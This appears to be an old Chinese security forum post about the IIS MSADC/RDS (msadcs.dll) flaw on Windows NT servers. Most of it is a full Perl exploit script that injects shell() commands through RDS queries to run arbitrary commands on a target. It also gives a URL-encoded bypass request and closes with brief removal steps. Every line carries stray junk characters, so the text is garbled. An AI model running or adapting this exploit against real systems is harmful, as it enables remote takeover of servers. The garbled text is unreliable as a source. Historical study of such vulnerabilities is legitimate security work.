IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
r]b_@hT', `[W[H(AjQ 涉及程序:
mT.u0KUIy Microsoft NT server
[/e<l&y bI:zp!-. 描述:
>[_f3;P 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
d4?Mi2/jF 22.8PO0 详细:
Bs O+NP 如果你没有时间读详细内容的话,就删除:
prTw'~(B c:\Program Files\Common Files\System\Msadc\msadcs.dll
MM(xk 有关的安全问题就没有了。
;xzUE`uUfJ q U]gj@R 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
kzt(i Y_6 <})2#sZO! 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
9Hf9VC3 关于利用ODBC远程漏洞的描述,请参看:
v"#mzd.tW X22[tqg;& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k + H3Bq (=* cK-3 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
R,pX:H+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp TrLu~4 U$_xUG 这里不再论述。
~ xft >D(R YI 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
+\F'iAs@ xHz[t6;4; /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
gqu?o&>9 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Mf&{7% (]Y 5eM !V
i@1E #将下面这段保存为txt文件,然后: "perl -x 文件名"
SjwyLc cp#JBHO #!perl
P!+'1KR #
cm&I* 0\ # MSADC/RDS 'usage' (aka exploit) script
`C$:Yf]%nG #
bO'Sgc[] # by rain.forest.puppy
i`dCG[ #
=8; {\ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
aC%m- m # beta test and find errors!
aVK3?y2 D"ND+*Q[X use Socket; use Getopt::Std;
b\-&sM(W" getopts("e:vd:h:XR", \%args);
E
,|xJjh )6|yb65ZUX print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rL+!tH 1n:8s'\ if (!defined $args{h} && !defined $args{R}) {
?<(m
5Al7 print qq~
[^U#Qj)hL Usage: msadc.pl -h <host> { -d <delay> -X -v }
d5D$&5Ec -h <host> = host you want to scan (ip or domain)
n&-qaoNl -d <seconds> = delay between calls, default 1 second
3b+d"`Y^S -X = dump Index Server path table, if available
BV>\ McI+ -v = verbose
.pN`;*7` -e = external dictionary file for step 5
0},PJ$8x [&&1j@LQ* Or a -R will resume a command session
m0c P ( rzh#CnL3 ~; exit;}
pO ml8SQf %2XHNW $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
z#]Jv!~EPE if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
v(EEG/~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(&+kl q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0Sgaem` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:yeq(oK, if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
dv.(7Y7.x fp[|M if (!defined $args{R}){ $ret = &has_msadc;
o[cV1G die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y0_),OaY )FpZPdN+h print "Please type the NT commandline you want to run (cmd /c assumed):\n"
V{^!BBQ
. "cmd /c ";
V??dYB( $in=<STDIN>; chomp $in;
u"d~!j1 $command="cmd /c " . $in ;
AO=h
23ZI *T~Ve;3h; if (defined $args{R}) {&load; exit;}
ub;ZtsM,% 8"fD`jtQ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/XhIx\40l &try_btcustmr;
=u+d_'P7-R 2UFv9 print "\nStep 2: Trying to make our own DSN...";
)e a :Q? &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(Nx;0"5IX h\PHKC2 print "\nStep 3: Trying known DSNs...";
J,AR5@)1 &known_dsn;
_c,'>aH= +=.W<b print "\nStep 4: Trying known .mdbs...";
Kwg4sr5"D &known_mdb;
n(L\||#+ 4Qo]nre! if (defined $args{e}){
R
+WP0&d' print "\nStep 5: Trying dictionary of DSN names...";
,B0_MDA + &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`kU/NKq \U[{z&]~ print "Sorry Charley...maybe next time?\n";
=9"W@n[>W exit;
T)Y=zIQ1]7 hNd}Y'%V ##############################################################################
6Qx#%,U^ J 8'f4 Od ? sub sendraw { # ripped and modded from whisker
IiZ&Pr sleep($delay); # it's a DoS on the server! At least on mine...
-mRA# my ($pstr)=@_;
FKT1fv[H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ui@2s;1t die("Socket problems\n");
N9vP7 if(connect(S,pack "SnA4x8",2,80,$target)){
yb/%?DNQT select(S); $|=1;
rwG CUo6Z print $pstr; my @in=<S>;
86\S?=J-b select(STDOUT); close(S);
U)o$WH.b return @in;
I;Bjfv5 } else { die("Can't connect...\n"); }}
UGuxV+Nwf x
>^Si/t ##############################################################################
QC X8IIHG cdG|m[ sub make_header { # make the HTTP request
kjtjw1\o my $msadc=<<EOT
Hv\-_>}K POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7?kIVP1r User-Agent: ACTIVEDATA
;Hj~n+ Host: $ip
bf!M#QOk? Content-Length: $clen
FDv+*sZ Connection: Keep-Alive
ijdXU8 <F.Tx$s ADCClientVersion:01.06
JGH60| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
DNj"SF(J WN_pd%m --!ADM!ROX!YOUR!WORLD!
TW9WMId Content-Type: application/x-varg
'I /aboDB Content-Length: $reqlen
stk9Ah y;AL'vm9 EOT
H03jDM8Q ; $msadc=~s/\n/\r\n/g;
D*YM[sN` return $msadc;}
8kIR y =n'
4?W@ ##############################################################################
^-[ ?#] gW1b~(
fD sub make_req { # make the RDS request
%0mMz.f my ($switch, $p1, $p2)=@_;
[_.5RPJP8 my $req=""; my $t1, $t2, $query, $dsn;
mUz\ra;z 6^c>,.R if ($switch==1){ # this is the btcustmr.mdb query
^+m+zd_ $query="Select * from Customers where City=" . make_shell();
i6 (a@KRY $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ZU9c 5/J $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
]/B$br'O{? ~DsECnD elsif ($switch==2){ # this is general make table query
f}@jFhr'< $query="create table AZZ (B int, C varchar(10))";
F`9ZH. $dsn="$p1";}
jvV9eA:zl <@Fy5k-%. elsif ($switch==3){ # this is general exploit table query
v!FMs< $query="select * from AZZ where C=" . make_shell();
{s_+?<l $dsn="$p1";}
Gsc\/4Wx Z+StB15 elsif ($switch==4){ # attempt to hork file info from index server
3:f[gV9K $query="select path from scope()";
r@o6voX $dsn="Provider=MSIDXS;";}
0`I-2M4F*Q Iy.rqc/86 elsif ($switch==5){ # bad query
Z KOXI%~Mc $query="select";
{vN}<f` $dsn="$p1";}
YNBHBK4; ,s_T pq $t1= make_unicode($query);
viAMr"z $t2= make_unicode($dsn);
jOyvDY9\ $req = "\x02\x00\x03\x00";
j$TwL; $req.= "\x08\x00" . pack ("S1", length($t1));
]d]JXt?)i $req.= "\x00\x00" . $t1 ;
UEzb^(8> $req.= "\x08\x00" . pack ("S1", length($t2));
,E$@=1) $req.= "\x00\x00" . $t2 ;
_C+b]r/E $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
XbZ*& return $req;}
60)iw4<wf hAjM1UQ,Y ##############################################################################
d)"?mD:m/M ;9}pOzF1q sub make_shell { # this makes the shell() statement
5zIAhg@o:q return "'|shell(\"$command\")|'";}
~(@ E`s&{
q9^ ##############################################################################
&k1T08C* >"@?ir sub make_unicode { # quick little function to convert to unicode
?*oKX my ($in)=@_; my $out;
J-<^P5 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,~);EC=` return $out;}
XJ0oS32_wK CY&
hIh~S@ ##############################################################################
j}AFE 'vbc#_; sub rdo_success { # checks for RDO return success (this is kludge)
Dr~=o% my (@in) = @_; my $base=content_start(@in);
zP;cTF(C if($in[$base]=~/multipart\/mixed/){
R i'L return 1 if( $in[$base+10]=~/^\x09\x00/ );}
$DP&a1'g return 0;}
Na\WZSu'" q,3;m[cA ##############################################################################
xwH?0/ $7'gRb4 sub make_dsn { # this makes a DSN for us
{q3H5csFq my @drives=("c","d","e","f");
pW]4bx@E print "\nMaking DSN: ";
gXH[$guf foreach $drive (@drives) {
kGUJ9Du print "$drive: ";
vw)7 !/# my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
u?[ q=0.J7 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Zv_jy@k . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
C P3<1~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
er.CDKD%L return 0 if $2 eq "404"; # not found/doesn't exist
\)48904^ if($2 eq "200") {
0liR foreach $line (@results) {
x#N-&baS return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
HSIvWhg?p } return 0;}
]O:N-Y 8V-\e?&^ ##############################################################################
A, PlvI RuG-{NF{F sub verify_exists {
+]@Az.E my ($page)=@_;
lI/0:|l my @results=sendraw("GET $page HTTP/1.0\n\n");
7DfTfTU6 return $results[0];}
K"V:<a aRc ' ##############################################################################
) ){xlFA} H\GkW6 sub try_btcustmr {
|Cdvfk my @drives=("c","d","e","f");
Kwhdu<6 my @dirs=("winnt","winnt35","winnt351","win","windows");
{R^'=(YFy sgr=w+",Q foreach $dir (@dirs) {
Sc]P<F7N] print "$dir -> "; # fun status so you can see progress
2Nj9U#A foreach $drive (@drives) {
[Lp,Hqi5 print "$drive: "; # ditto
^MmC$U^n $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%Z8vdU# l $reqlenlen=length( "$reqlen" );
!%Y~~'5 h $clen= 206 + $reqlenlen + $reqlen;
dxj*Q "K j4R 4H; my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%o}(sShS if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{NCF6Mk else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
s(_+!d6 8)VgS&B~ ##############################################################################
c[ht`!P 3g~^LZ66 sub odbc_error {
.]|Zf!>}s my (@in)=@_; my $base;
QI_59f> my $base = content_start(@in);
]/T-t1D if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ofW+_DKB?l $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&)pK%SAM $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
fB+b}aoV $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0"g@!gSrQ return $in[$base+4].$in[$base+5].$in[$base+6];}
MbXq`% print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
m/`IGT5J print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
fRm}S>Nibb $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p[WX'M0f y>\S@I ##############################################################################
zEw>SP1, 2>\\@1 sub verbose {
4UAvw my ($in)=@_;
+^6}
return if !$verbose;
w.N,)]h print STDOUT "\n$in\n";}
T[Pa/j{ \Z/k;=Sla ##############################################################################
ZB5?!.ND MF[z-7 sub save {
jK8'T_Pah my ($p1, $p2, $p3, $p4)=@_;
P.sgRsL open(OUT, ">rds.save") || print "Problem saving parameters...\n";
k:#6^!b1 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
l
oqvi close OUT;}
Gowp
<9 F a-n4:QT ##############################################################################
iS@\ =CK |)W!jC&k sub load {
Ak~4|w- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
sygH1|f open(IN,"<rds.save") || die("Couldn't open rds.save\n");
TD04/ ISHT @p=<IN>; close(IN);
@<_`2eW'/R $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
=z:U~D $target= inet_aton($ip) || die("inet_aton problems");
P
,K\ print "Resuming to $ip ...";
NE"jh_m- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
AH.9A_dG if($p[1]==1) {
/f1'm@8; $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
GLKO]y $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
2r];V'r my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
zL s^,x if (rdo_success(@results)){print "Success!\n";}
j.3o W else { print "failed\n"; verbose(odbc_error(@results));}}
uC~g#[I QM elsif ($p[1]==3){
#1$}S=8*f if(run_query("$p[3]")){
r9ke,7? print "Success!\n";} else { print "failed\n"; }}
iilyw_$H elsif ($p[1]==4){
X9~m8c){z if(run_query($drvst . "$p[3]")){
wVi%oSfM print "Success!\n"; } else { print "failed\n"; }}
:G'xi2bs exit;}
DM3B]Yl bdV3v` ##############################################################################
t ,qul4y} ui'F'"tPz sub create_table {
>uHS[ _`nM my ($in)=@_;
gZ(O)uzv $reqlen=length( make_req(2,$in,"") ) - 28;
'=} Y2?( $reqlenlen=length( "$reqlen" );
Ohl} X 1 $clen= 206 + $reqlenlen + $reqlen;
NcL
=zo< my @results=sendraw(make_header() . make_req(2,$in,""));
lVeH+"M? return 1 if rdo_success(@results);
~SVQ;U)- my $temp= odbc_error(@results); verbose($temp);
/aUFc '5 return 1 if $temp=~/Table 'AZZ' already exists/;
~q% return 0;}
*kaJ*Ti-/ %OI4a5V*l ##############################################################################
\_oy$>; Xa`(;CLW? sub known_dsn {
xaXV^ZM3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
MWq$AK] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0->/`/xm "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
D6!t VdnVe "banner", "banners", "ads", "ADCDemo", "ADCTest");
jXEGSn PI7IBI foreach $dSn (@dsns) {
6tOi^+qN print ".";
'\*A"8;h next if (!is_access("DSN=$dSn"));
k)E ;( if(create_table("DSN=$dSn")){
j%M @# print "$dSn successful\n";
L+Pc<U)T+ if(run_query("DSN=$dSn")){
o`%I{?UCDJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
MM_py!=>7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
*d
l"wH& X}apxSd" ##############################################################################
$e/*/. IYNMU\s sub is_access {
MOV =n75 my ($in)=@_;
>.Q0Tx!P $reqlen=length( make_req(5,$in,"") ) - 28;
/!bx`cKG $reqlenlen=length( "$reqlen" );
[:i sZG* $clen= 206 + $reqlenlen + $reqlen;
R^9"N?Q7;` my @results=sendraw(make_header() . make_req(5,$in,""));
ida*]+ ~ my $temp= odbc_error(@results);
11*"d# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
|h1^Gv return 0;}
a!.!2a&t spiDm:Xe ##############################################################################
P$h;SK -fM1$/] sub run_query {
0^>E`/ my ($in)=@_;
v:P!(`sF $reqlen=length( make_req(3,$in,"") ) - 28;
i$#,XFFp~ $reqlenlen=length( "$reqlen" );
;a{rWz1Wm $clen= 206 + $reqlenlen + $reqlen;
GUCM4jVT^ my @results=sendraw(make_header() . make_req(3,$in,""));
d]k=' return 1 if rdo_success(@results);
zXgkcq) my $temp= odbc_error(@results); verbose($temp);
Z90Fcp:R return 0;}
-q(:%; 2nx8iA
##############################################################################
'aPCb`^;w gY\mXM*^ sub known_mdb {
{gIEZ{ my @drives=("c","d","e","f","g");
UQdyv(jXq my @dirs=("winnt","winnt35","winnt351","win","windows");
Bi_J5 If my $dir, $drive, $mdb;
9&(.x8d,a my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3^H/LWx`{] ork|yj/A # this is sparse, because I don't know of many
ZPYH#gC&T my @sysmdbs=( "\\catroot\\icatalog.mdb",
j@g!R!7) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Ge9}8 "\\system32\\certmdb.mdb",
#f9qlM32
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
t|".=3%G <"ae4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
14u^[M"U "\\cfusion\\cfapps\\forums\\forums_.mdb",
2^bgC~2C1 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
./!KE"! "\\cfusion\\cfapps\\security\\realm_.mdb",
^=#!D[xj> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
q/J3cXa{K "\\cfusion\\database\\cfexamples.mdb",
8AX3C s_G "\\cfusion\\database\\cfsnippets.mdb",
g!5#,kJM "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
o?=fhc "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
cV(H<"I "\\cfusion\\brighttiger\\database\\cleam.mdb",
]84YvpfW "\\cfusion\\database\\smpolicy.mdb",
7`+UB>8 "\\cfusion\\database\cypress.mdb",
wKrdcWI,Z "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/p[y1 "\\website\\cgi-win\\dbsample.mdb",
7?]!Ecr" "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
P59uALi "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
c.6QhE ); #these are just
,|QU] E
@ foreach $drive (@drives) {
Pd&,G$l foreach $dir (@dirs){
,QL(i\ foreach $mdb (@sysmdbs) {
I,z"_[^G print ".";
a5I%RY if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
5YLho2h38! print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5z[6rT=a if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7\ ZL print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.n=xbx:= } else { print "Something's borked. Use verbose next time\n"; }}}}}
~{Ua92zV9 (77Dif0)' foreach $drive (@drives) {
X?_v+'G foreach $mdb (@mdbs) {
P ]_Vz print ".";
mlmnkgl
] if(create_table($drv . $drive . $dir . $mdb)){
X{|k<^: print "\n" . $drive . $dir . $mdb . " successful\n";
SFOQM*H if(run_query($drv . $drive . $dir . $mdb)){
'U*udkn 2] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
?xf~!D } else { print "Something's borked. Use verbose next time\n"; }}}}
aH9L|BN* }
l85CJ+rg .>oM
z&
##############################################################################
3?]S,~!F PKATw>zg< sub hork_idx {
~EPjZ3 ? print "\nAttempting to dump Index Server tables...\n";
s!=!A print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
}K+\8em $reqlen=length( make_req(4,"","") ) - 28;
~JT lPU' $reqlenlen=length( "$reqlen" );
H|'$dO)W $clen= 206 + $reqlenlen + $reqlen;
i|[S5QXCh my @results=sendraw2(make_header() . make_req(4,"",""));
fV v$K& if (rdo_success(@results)){
6.vNe my $max=@results; my $c; my %d;
r6<ArX$Yl for($c=19; $c<$max; $c++){
DvU~%%(0^ $results[$c]=~s/\x00//g;
W|)(|W $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
s>V*=#L $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"%Lmgy:~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
^r%i3 $d{"$1$2"}="";}
Z*;*I<- foreach $c (keys %d){ print "$c\n"; }
)/i4YLO } else {print "Index server doesn't seem to be installed.\n"; }}
X ^9t 8F.(]@NY ##############################################################################
H?ieNXP7{ ^S3A10f, sub dsn_dict {
X{4xm,B/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ta2z while(<IN>){
78\\8* $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
#NSaY+V next if (!is_access("DSN=$dSn"));
mfUKHX5 if(create_table("DSN=$dSn")){
%Ud.SJ3 print "$dSn successful\n";
jWz|K if(run_query("DSN=$dSn")){
Ab/v_mA; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C} |O#"t^\ print "Something's borked. Use verbose next time\n";}}}
I(F1S,7 print "\n"; close(IN);}
L'zdsa}Et QZ_nQ3K ##############################################################################
Ynv 9v\n| ,[+ZjAyG}# sub sendraw2 { # ripped and modded from whisker
9?v) sleep($delay); # it's a DoS on the server! At least on mine...
G`&'Bt{Z* my ($pstr)=@_;
`,<>){c| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!<JG&9ODP die("Socket problems\n");
^$3w&$K* if(connect(S,pack "SnA4x8",2,80,$target)){
a^(S!I print "Connected. Getting data";
8j({=xbg& open(OUT,">raw.out"); my @in;
?yda.<"g9Y select(S); $|=1; print $pstr;
Ykx&6M@t while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
D}3cW2!9 close(OUT); select(STDOUT); close(S); return @in;
`=WzG" } else { die("Can't connect...\n"); }}
^2P;CAjj-
k)o7COx ##############################################################################
`V$cz88b ZhxfI?i)l sub content_start { # this will take in the server headers
a2IV!0x my (@in)=@_; my $c;
jCdZ}M($ for ($c=1;$c<500;$c++) {
\["1N-q b if($in[$c] =~/^\x0d\x0a/){
fte!Ll' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
jnx+wcd else { return $c+1; }}}
;L MEU_ return -1;} # it should never get here actually
V~tu<"% E9
:|8#b ##############################################################################
Xb8:*Y1' Q|zE@nLS
sub funky {
C]{V%jU my (@in)=@_; my $error=odbc_error(@in);
E$oA+n~ if($error=~/ADO could not find the specified provider/){
R;N>#_9HU print "\nServer returned an ADO miscofiguration message\nAborting.\n";
,(5dQ` hA0 exit;}
as\)S?0`. if($error=~/A Handler is required/){
9'1;-^U1 print "\nServer has custom handler filters (they most likely are patched)\n";
X,Q6 exit;}
|ij W_r if($error=~/specified Handler has denied Access/){
_r^G%Mvy| print "\nServer has custom handler filters (they most likely are patched)\n";
]ys4 exit;}}
RJ7/I/yD| rmAP&Gw I ##############################################################################
1L(Nfkh bTI&#Hu sub has_msadc {
zYNM<W; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
mDe+ M{/ my $base=content_start(@results);
Ynt&cdK9 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
+$an*k9 return 0;}
5Od(J5` '8((;N|I^ ########################
8*Nt&`@ kKI!B`j=
6='_+{
解决方案:
tleK(^ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
N:sECGS, 2、移除web 目录: /msadc